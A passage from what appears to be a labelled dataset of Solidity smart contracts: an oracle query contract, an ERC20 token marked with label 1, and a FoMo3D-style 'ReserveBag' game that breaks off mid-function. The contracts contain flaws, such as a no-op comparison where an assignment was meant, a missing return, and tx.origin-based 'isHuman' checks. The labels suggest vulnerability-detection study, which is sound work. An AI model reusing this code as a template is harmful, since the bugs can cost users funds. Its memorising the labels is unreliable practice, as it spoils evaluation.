mapping (address => uint) addr_gasPrice;
uint public baseprice;
mapping (bytes32 => uint) price;
mapping (bytes32 => uint) price_multiplier;
bytes32[] dsources;
bytes32[] public randomDS_sessionPubKeysHash;
function randomDS_updateSessionPubKeysHash(bytes32[] _newSessionPubKeysHash)
external
{
onlyadmin();
randomDS_sessionPubKeysHash.length = 0;
for (uint i=0; i<_newSessionPubKeysHash.length; i++) randomDS_sessionPubKeysHash.push(_newSessionPubKeysHash[i]);
}
function randomDS_getSessionPubKeyHash()
external
constant
returns (bytes32) {
uint i = uint(sha3(reqc[msg.sender]))%randomDS_sessionPubKeysHash.length;
return randomDS_sessionPubKeysHash[i];
}
function setProofType(byte _proofType)
external
{
addr_proofType[msg.sender] = _proofType;
}
function setCustomGasPrice(uint _gasPrice)
external
{
addr_gasPrice[msg.sender] = _gasPrice;
}
function getPrice(string _datasource)
public
returns (uint _dsprice)
{
return getPrice(_datasource, msg.sender);
}
function getPrice(string _datasource, uint _gaslimit)
public
returns (uint _dsprice)
{
return getPrice(_datasource, _gaslimit, msg.sender);
}
function getPrice(string _datasource, address _addr)
private
returns (uint _dsprice)
{
return getPrice(_datasource, 200000, _addr);
}
function getPrice(string _datasource, uint _gaslimit, address _addr)
private
returns (uint _dsprice)
{
uint gasprice_ = addr_gasPrice[_addr];
if (
(offchainPayment[_addr])
||(
(_gaslimit <= 200000)&&
(reqc[_addr] == 0)&&
(gasprice_ <= gasprice)&&
(tx.origin != cbAddress())
)
) return 0;
if (gasprice_ == 0) gasprice_ = gasprice;
_dsprice = price[sha3(_datasource, addr_proofType[_addr])];
_dsprice += _gaslimit*gasprice_;
return _dsprice;
}
function getCodeSize(address _addr)
private
constant
returns(uint _size)
{
assembly {
_size := extcodesize(_addr)
}
}
function query(string _datasource, string _arg)
payable
external
returns (bytes32 _id)
{
return query1(0, _datasource, _arg, 200000);
}
function query1(string _datasource, string _arg)
payable
external
returns (bytes32 _id)
{
return query1(0, _datasource, _arg, 200000);
}
function query2(string _datasource, string _arg1, string _arg2)
payable
external
returns (bytes32 _id)
{
return query2(0, _datasource, _arg1, _arg2, 200000);
}
function queryN(string _datasource, bytes _args)
payable
external
returns (bytes32 _id)
{
return queryN(0, _datasource, _args, 200000);
}
function query(uint _timestamp, string _datasource, string _arg)
payable
external
returns (bytes32 _id)
{
return query1(_timestamp, _datasource, _arg, 200000);
}
function query1(uint _timestamp, string _datasource, string _arg)
payable
external
returns (bytes32 _id)
{
return query1(_timestamp, _datasource, _arg, 200000);
}
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2)
payable
external
returns (bytes32 _id)
{
return query2(_timestamp, _datasource, _arg1, _arg2, 200000);
}
function queryN(uint _timestamp, string _datasource, bytes _args)
payable
external
returns (bytes32 _id)
{
return queryN(_timestamp, _datasource, _args, 200000);
}
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit)
payable
external
returns (bytes32 _id)
{
return query1(_timestamp, _datasource, _arg, _gaslimit);
}
function query1_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit)
payable
external
returns (bytes32 _id)
{
return query1(_timestamp, _datasource, _arg, _gaslimit);
}
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit)
payable
external
returns (bytes32 _id)
{
return query2(_timestamp, _datasource, _arg1, _arg2, _gaslimit);
}
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _args, uint _gaslimit)
payable
external
returns (bytes32 _id)
{
return queryN(_timestamp, _datasource, _args, _gaslimit);
}
function query1(uint _timestamp, string _datasource, string _arg, uint _gaslimit)
payable
public
returns (bytes32 _id)
{
uint queryCost = costs(_datasource, _gaslimit);
if ((_timestamp > now+3600*24*60)||(_gaslimit > block.gaslimit)) throw;
_id = sha3(this, msg.sender, reqc[msg.sender]);
reqc[msg.sender]++;
Log1(msg.sender, _id, _timestamp, _datasource, _arg, _gaslimit, addr_proofType[msg.sender], addr_gasPrice[msg.sender], queryCost);
return _id;
}
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit)
payable
public
returns (bytes32 _id)
{
uint queryCost = costs(_datasource, _gaslimit);
if ((_timestamp > now+3600*24*60)||(_gaslimit > block.gaslimit)) throw;
_id = sha3(this, msg.sender, reqc[msg.sender]);
reqc[msg.sender]++;
Log2(msg.sender, _id, _timestamp, _datasource, _arg1, _arg2, _gaslimit, addr_proofType[msg.sender], addr_gasPrice[msg.sender], queryCost);
return _id;
}
function queryN(uint _timestamp, string _datasource, bytes _args, uint _gaslimit)
payable
public
returns (bytes32 _id)
{
uint queryCost = costs(_datasource, _gaslimit);
if ((_timestamp > now+3600*24*60)||(_gaslimit > block.gaslimit)) throw;
_id = sha3(this, msg.sender, reqc[msg.sender]);
reqc[msg.sender]++;
LogN(msg.sender, _id, _timestamp, _datasource, _args, _gaslimit, addr_proofType[msg.sender], addr_gasPrice[msg.sender], queryCost);
return _id;
}
function query1_fnc(uint _timestamp, string _datasource, string _arg, function() external _fnc, uint _gaslimit)
payable
public
returns (bytes32 _id)
{
uint queryCost = costs(_datasource, _gaslimit);
if ((_timestamp > now+3600*24*60)||(_gaslimit > block.gaslimit)||address(_fnc) != msg.sender) throw;
_id = sha3(this, msg.sender, reqc[msg.sender]);
reqc[msg.sender]++;
Log1_fnc(msg.sender, _id, _timestamp, _datasource, _arg, _fnc, _gaslimit, addr_proofType[msg.sender], addr_gasPrice[msg.sender], queryCost);
return _id;
}
function query2_fnc(uint _timestamp, string _datasource, string _arg1, string _arg2, function() external _fnc, uint _gaslimit)
payable
public
returns (bytes32 _id)
{
uint queryCost = costs(_datasource, _gaslimit);
if ((_timestamp > now+3600*24*60)||(_gaslimit > block.gaslimit)||address(_fnc) != msg.sender) throw;
_id = sha3(this, msg.sender, reqc[msg.sender]);
reqc[msg.sender]++;
Log2_fnc(msg.sender, _id, _timestamp, _datasource, _arg1, _arg2, _fnc, _gaslimit, addr_proofType[msg.sender], addr_gasPrice[msg.sender], queryCost);
return _id;
}
function queryN_fnc(uint _timestamp, string _datasource, bytes _args, function() external _fnc, uint _gaslimit)
payable
public
returns (bytes32 _id)
{
uint queryCost = costs(_datasource, _gaslimit);
if ((_timestamp > now+3600*24*60)||(_gaslimit > block.gaslimit)||address(_fnc) != msg.sender) throw;
_id = sha3(this, msg.sender, reqc[msg.sender]);
reqc[msg.sender]++;
LogN_fnc(msg.sender, _id, _timestamp, _datasource, _args, _fnc, _gaslimit, addr_proofType[msg.sender], addr_gasPrice[msg.sender], queryCost);
return _id;
}
} | 0 | 1,283 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract SsoToken is TokenERC20 {
function SsoToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
} | 1 | 5,055 |
pragma solidity ^0.4.24;
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns(uint256);
function getPlayerName(uint256 _pID) external view returns(bytes32);
function getPlayerLAff(uint256 _pID) external view returns(uint256);
function getPlayerAddr(uint256 _pID) external view returns(address);
function getNameFee() external view returns(uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
interface TeamPerfitForwarderInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address);
}
interface DRSCoinInterface {
function mint(address _to, uint256 _amount) external;
function profitEth() external payable;
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library DRSDatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 genAmount;
uint256 potAmount;
address genAddr;
uint256 genKeyPrice;
}
function setNewPlayerFlag(EventReturns _event) internal pure returns(EventReturns) {
_event.compressedData = _event.compressedData + 1;
return _event;
}
function setJoinedRoundFlag(EventReturns _event) internal pure returns(EventReturns) {
_event.compressedData = _event.compressedData + 10;
return _event;
}
function setNewLeaderFlag(EventReturns _event) internal pure returns(EventReturns) {
_event.compressedData = _event.compressedData + 100;
return _event;
}
function setRoundEndTime(EventReturns _event, uint256 roundEndTime) internal pure returns(EventReturns) {
_event.compressedData = _event.compressedData + roundEndTime * (10**3);
return _event;
}
function setTimestamp(EventReturns _event, uint256 timestamp) internal pure returns(EventReturns) {
_event.compressedData = _event.compressedData + timestamp * (10**14);
return _event;
}
function setPID(EventReturns _event, uint256 _pID) internal pure returns(EventReturns) {
_event.compressedIDs = _event.compressedIDs + _pID;
return _event;
}
function setWinPID(EventReturns _event, uint256 _winPID) internal pure returns(EventReturns) {
_event.compressedIDs = _event.compressedIDs + (_winPID * (10**26));
return _event;
}
function setRID(EventReturns _event, uint256 _rID) internal pure returns(EventReturns) {
_event.compressedIDs = _event.compressedIDs + (_rID * (10**52));
return _event;
}
function setWinner(EventReturns _event, address _winnerAddr, bytes32 _winnerName, uint256 _amountWon)
internal pure returns(EventReturns) {
_event.winnerAddr = _winnerAddr;
_event.winnerName = _winnerName;
_event.amountWon = _amountWon;
return _event;
}
function setGenInfo(EventReturns _event, address _genAddr, uint256 _genKeyPrice)
internal pure returns(EventReturns) {
_event.genAddr = _genAddr;
_event.genKeyPrice = _genKeyPrice;
}
function setNewPot(EventReturns _event, uint256 _newPot) internal pure returns(EventReturns) {
_event.newPot = _newPot;
return _event;
}
function setGenAmount(EventReturns _event, uint256 _genAmount) internal pure returns(EventReturns) {
_event.genAmount = _genAmount;
return _event;
}
function setPotAmount(EventReturns _event, uint256 _potAmount) internal pure returns(EventReturns) {
_event.potAmount = _potAmount;
return _event;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 lrnd;
}
struct PlayerRound {
uint256 eth;
uint256 keys;
}
struct Round {
uint256 plyr;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
}
struct BuyInfo {
address addr;
bytes32 name;
uint256 pid;
uint256 keyPrice;
uint256 keyIndex;
}
}
contract DRSEvents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keyIndex,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount,
uint256 potAmount,
address genAddr,
uint256 genKeyPrice
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onBuyKeyFailure
(
uint256 roundID,
uint256 indexed playerID,
uint256 amount,
uint256 keyPrice,
uint256 timeStamp
);
}
contract ReserveBag is DRSEvents {
using SafeMath for uint256;
using NameFilter for string;
using DRSDatasets for DRSDatasets.EventReturns;
TeamPerfitForwarderInterface public teamPerfit;
PlayerBookInterface public playerBook;
DRSCoinInterface public drsCoin;
string constant public name = "Reserve Bag";
string constant public symbol = "RB";
uint256 constant private initKeyPrice = (10**18);
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 0;
uint256 constant private rndMax_ = 24 hours;
uint256 public rID_;
uint256 public keyPrice = initKeyPrice;
uint256 public keyBought = 0;
address public owner;
uint256 public teamPerfitAmuont = 0;
uint256 public rewardInternal = 36;
uint256 public keyPriceIncreaseRatio = 8;
uint256 public genRatio = 90;
uint256 public drsCoinDividendRatio = 40;
uint256 public teamPerfitRatio = 5;
uint256 public ethMintDRSCoinRate = 100;
bool public activated_ = false;
mapping(address => uint256) public pIDxAddr_;
mapping(bytes32 => uint256) public pIDxName_;
mapping(uint256 => DRSDatasets.Player) public plyr_;
mapping(uint256 => mapping(uint256 => DRSDatasets.PlayerRound)) public plyrRnds_;
mapping(uint256 => mapping(bytes32 => bool)) public plyrNames_;
DRSDatasets.BuyInfo[] buyinfos;
uint256 private startIndex;
uint256 private endIndex;
mapping(uint256 => DRSDatasets.Round) public round_;
constructor(address _teamPerfit, address _playBook, address _drsCoin) public
{
owner = msg.sender;
teamPerfit = TeamPerfitForwarderInterface(_teamPerfit);
playerBook = PlayerBookInterface(_playBook);
drsCoin = DRSCoinInterface(_drsCoin);
startIndex = 0;
endIndex = 0;
}
modifier onlyOwner {
assert(owner == msg.sender);
_;
}
modifier isHuman() {
address _addr = msg.sender;
require(_addr == tx.origin);
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000 * (10**18), "no vitalik, no");
_;
}
function pushBuyInfo(DRSDatasets.BuyInfo info) internal {
if(endIndex == buyinfos.length) {
buyinfos.push(info);
} else if(endIndex < buyinfos.length) {
buyinfos[endIndex] = info;
} else {
revert();
}
endIndex = (endIndex + 1) % (rewardInternal + 1);
if(endIndex == startIndex) {
startIndex = (startIndex + 1) % (rewardInternal + 1);
}
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
DRSDatasets.EventReturns memory _eventData_;
_eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, _eventData_);
}
function buyKey()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
DRSDatasets.EventReturns memory _eventData_;
_eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, _eventData_);
}
function reLoadXaddr(uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
uint256 _pID = pIDxAddr_[msg.sender];
require(_pID != 0, "reLoadXaddr can not be called by new players");
DRSDatasets.EventReturns memory _eventData_;
reLoadCore(_pID, _eth, _eventData_);
}
function withdrawTeamPerfit()
isActivated()
onlyOwner()
public
{
if(teamPerfitAmuont > 0) {
uint256 _perfit = teamPerfitAmuont;
teamPerfitAmuont = 0;
owner.transfer(_perfit);
}
}
function getTeamPerfitAmuont() public view returns(uint256) {
return teamPerfitAmuont;
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _pID = pIDxAddr_[msg.sender];
require(_pID != 0, "withdraw can not be called by new players");
uint256 _rID = rID_;
uint256 _now = now;
uint256 _eth;
if(_now > round_[_rID].end && !round_[_rID].ended && round_[_rID].plyr != 0)
{
DRSDatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if(_eth > 0) {
plyr_[_pID].addr.transfer(_eth);
}
_eventData_ = _eventData_.setTimestamp(_now);
_eventData_ = _eventData_.setPID(_pID);
emit DRSEvents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if(_eth > 0) {
plyr_[_pID].addr.transfer(_eth);
}
emit DRSEvents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerName(string _nameString, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, ) = playerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, address(0), _all);
uint256 _pID = pIDxAddr_[_addr];
emit DRSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _paid, now);
}
function getBuyPrice() public view returns(uint256)
{
return keyPrice;
}
function getTimeLeft() public view returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if(_now < round_[_rID].end)
if(_now > round_[_rID].strt + rndGap_)
return (round_[_rID].end).sub(_now);
else
return (round_[_rID].strt + rndGap_).sub(_now);
else
return 0;
}
function getPlayerVaults(uint256 _pID) public view returns(uint256, uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if(_now > round_[_rID].end && !round_[_rID].ended && round_[_rID].plyr != 0) {
if(round_[_rID].plyr == _pID) {
return
(
(plyr_[_pID].win).add(getWin(round_[_rID].pot)),
plyr_[_pID].gen
);
}
}
return (plyr_[_pID].win, plyr_[_pID].gen);
}
function getCurrentRoundInfo() public view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
return
(
_rID,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
keyPrice,
keyBought.add(1),
_winPID,
plyr_[_winPID].addr,
plyr_[_winPID].name
);
}
function getPlayerInfoByAddress(address _addr) public view
returns(uint256, bytes32, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if(_addr == address(0)) {
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
if(_pID == 0) {
return (0, "", 0, 0, 0, 0);
}
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
plyr_[_pID].gen,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, DRSDatasets.EventReturns memory _eventData_) private
{
uint256 _rID = rID_;
uint256 _now = now;
if(_now >= round_[_rID].strt.add(rndGap_) && (_now <= round_[_rID].end || round_[_rID].plyr == 0)) {
core(_rID, _pID, msg.value, _eventData_);
} else {
if(_now > round_[_rID].end && !round_[_rID].ended) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_ = _eventData_.setTimestamp(_now);
_eventData_ = _eventData_.setPID(_pID);
emit DRSEvents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _eth, DRSDatasets.EventReturns memory _eventData_) private
{
uint256 _rID = rID_;
uint256 _now = now;
if(_now > round_[_rID].strt.add(rndGap_) && (_now <= round_[_rID].end || round_[_rID].plyr == 0)) {
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _eventData_);
} else {
if(_now > round_[_rID].end && !round_[_rID].ended) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_ = _eventData_.setTimestamp(_now);
_eventData_ = _eventData_.setPID(_pID);
emit DRSEvents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, DRSDatasets.EventReturns memory _eventData_) private
{
if(_eth < keyPrice) {
plyr_[_pID].gen = plyr_[_pID].gen.add(_eth);
emit onBuyKeyFailure(_rID, _pID, _eth, keyPrice, now);
return;
}
if(plyrRnds_[_pID][_rID].keys == 0) {
_eventData_ = managePlayer(_pID, _eventData_);
}
uint256 _keys = 1;
uint256 _ethUsed = keyPrice;
uint256 _ethLeft = _eth.sub(keyPrice);
updateTimer(_rID);
if(round_[_rID].plyr != _pID) {
round_[_rID].plyr = _pID;
}
_eventData_ = _eventData_.setNewLeaderFlag();
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _ethUsed.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _ethUsed.add(round_[_rID].eth);
uint256 _ethExt = distributeExternal(_ethUsed);
_eventData_ = distributeInternal(_rID, _ethUsed, _ethExt, _eventData_);
bytes32 _name = plyr_[_pID].name;
pushBuyInfo(DRSDatasets.BuyInfo(msg.sender, _name, _pID, keyPrice, keyBought));
uint256 _keyIndex = keyBought;
keyBought = keyBought.add(1);
keyPrice = keyPrice.mul(1000 + keyPriceIncreaseRatio).div(1000);
if(_ethLeft > 0) {
plyr_[_pID].gen = _ethLeft.add(plyr_[_pID].gen);
}
endTx(_pID, _ethUsed, _keyIndex, _eventData_);
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name) external
{
require(msg.sender == address(playerBook), "your not playerNames contract.");
if(pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if(pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if(plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if(plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if(!plyrNames_[_pID][_name])
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name) external
{
require(msg.sender == address(playerBook), "your not playerNames contract.");
if(!plyrNames_[_pID][_name])
plyrNames_[_pID][_name] = true;
}
function determinePID(DRSDatasets.EventReturns memory _eventData_) private returns(DRSDatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if(_pID == 0)
{
_pID = playerBook.getPlayerID(msg.sender);
bytes32 _name = playerBook.getPlayerName(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if(_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
_eventData_ = _eventData_.setNewPlayerFlag();
}
return _eventData_;
}
function managePlayer(uint256 _pID, DRSDatasets.EventReturns memory _eventData_)
private
returns(DRSDatasets.EventReturns)
{
plyr_[_pID].lrnd = rID_;
_eventData_ = _eventData_.setJoinedRoundFlag();
return _eventData_;
}
function getWin(uint256 _pot) private pure returns(uint256) {
return _pot / 2;
}
function getDRSCoinDividend(uint256 _pot) private view returns(uint256) {
return _pot.mul(drsCoinDividendRatio).div(100);
}
function getTeamPerfit(uint256 _pot) private view returns(uint256) {
return _pot.mul(teamPerfitRatio).div(100);
}
function mintDRSCoin() private {
if(startIndex == endIndex) {
return;
}
if((startIndex + 1) % (rewardInternal + 1) == endIndex) {
return;
}
for(uint256 i = startIndex; (i + 1) % (rewardInternal + 1) != endIndex; i = (i + 1) % (rewardInternal + 1)) {
drsCoin.mint(buyinfos[i].addr, buyinfos[i].keyPrice.mul(ethMintDRSCoinRate).div(100));
}
}
function endRound(DRSDatasets.EventReturns memory _eventData_)
private
returns(DRSDatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _pot = round_[_rID].pot;
uint256 _win = getWin(_pot);
uint256 _drsCoinDividend = getDRSCoinDividend(_pot);
uint256 _com = getTeamPerfit(_pot);
uint256 _newPot = _pot.sub(_win).sub(_drsCoinDividend).sub(_com);
depositTeamPerfit(_com);
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
mintDRSCoin();
drsCoin.profitEth.value(_drsCoinDividend)();
_eventData_ = _eventData_.setRoundEndTime(round_[_rID].end);
_eventData_ = _eventData_.setWinPID(_winPID);
_eventData_ = _eventData_.setWinner(plyr_[_winPID].addr, plyr_[_winPID].name, _win);
_eventData_ = _eventData_.setNewPot(_newPot);
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndMax_).add(rndGap_);
keyPrice = initKeyPrice;
keyBought = 0;
startIndex = 0;
endIndex = 0;
round_[_rID].pot = _newPot;
return _eventData_;
}
function updateTimer(uint256 _rID) private
{
uint256 keys = round_[_rID].keys;
uint256 keyDuration = rndMax_;
if(keys < 50) {
keyDuration = rndMax_;
} else if(keys < 100) {
keyDuration = rndMax_ / 2;
} else if(keys < 150) {
keyDuration = rndMax_ / 4;
} else {
keyDuration = rndMax_ / 8;
}
round_[_rID].end = keyDuration.add(now);
}
function depositTeamPerfit(uint256 _eth) private {
if(teamPerfit == address(0)) {
teamPerfitAmuont = teamPerfitAmuont.add(_eth);
return;
}
bool res = teamPerfit.deposit.value(_eth)();
if(!res) {
teamPerfitAmuont = teamPerfitAmuont.add(_eth);
return;
}
}
function distributeExternal(uint256 _eth) private returns(uint256)
{
uint256 _com = _eth / 50;
depositTeamPerfit(_com);
return _com;
}
function distributeInternal(uint256 _rID, uint256 _eth, uint256 _ethExt, DRSDatasets.EventReturns memory _eventData_)
private
returns(DRSDatasets.EventReturns)
{
uint256 _gen = 0;
uint256 _pot = 0;
if(keyBought < rewardInternal) {
_gen = 0;
_pot = _eth.sub(_ethExt);
} else {
_gen = _eth.mul(genRatio).div(100);
_pot = _eth.sub(_ethExt).sub(_gen);
DRSDatasets.BuyInfo memory info = buyinfos[startIndex];
uint256 firstPID = info.pid;
plyr_[firstPID].gen = _gen.add(plyr_[firstPID].gen);
_eventData_.setGenInfo(info.addr, info.keyPrice);
}
if(_pot > 0) {
